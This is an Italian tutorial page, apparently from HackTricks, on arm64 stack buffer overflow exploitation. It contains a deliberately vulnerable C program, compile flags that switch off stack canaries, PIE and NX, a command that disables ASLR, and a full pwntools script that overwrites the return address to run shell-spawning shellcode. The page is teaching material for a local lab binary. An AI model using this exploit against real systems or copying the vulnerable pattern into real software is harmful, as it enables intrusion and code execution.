Stack Shellcode - arm64

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Trova un'introduzione all'arm64 in:

pageIntroduction to ARM64v8

Codice

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compilare senza pie, canary e nx:

```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## Nessun ASLR & Nessun canary - Stack Overflow

Per fermare ASLR eseguire:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Per ottenere l'offset del bof controlla questo link.

Sfruttare:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

L'unica cosa "complicata" da trovare qui sarebbe l'indirizzo nello stack da chiamare. Nel mio caso ho generato l exploit con l'indirizzo trovato usando gdb, ma poi quando l'ho sfruttato non ha funzionato (perché l'indirizzo dello stack è cambiato leggermente).

Ho aperto il file core generato (gdb ./bog ./core) e ho controllato l'indirizzo reale dell'inizio dello shellcode.

Last updated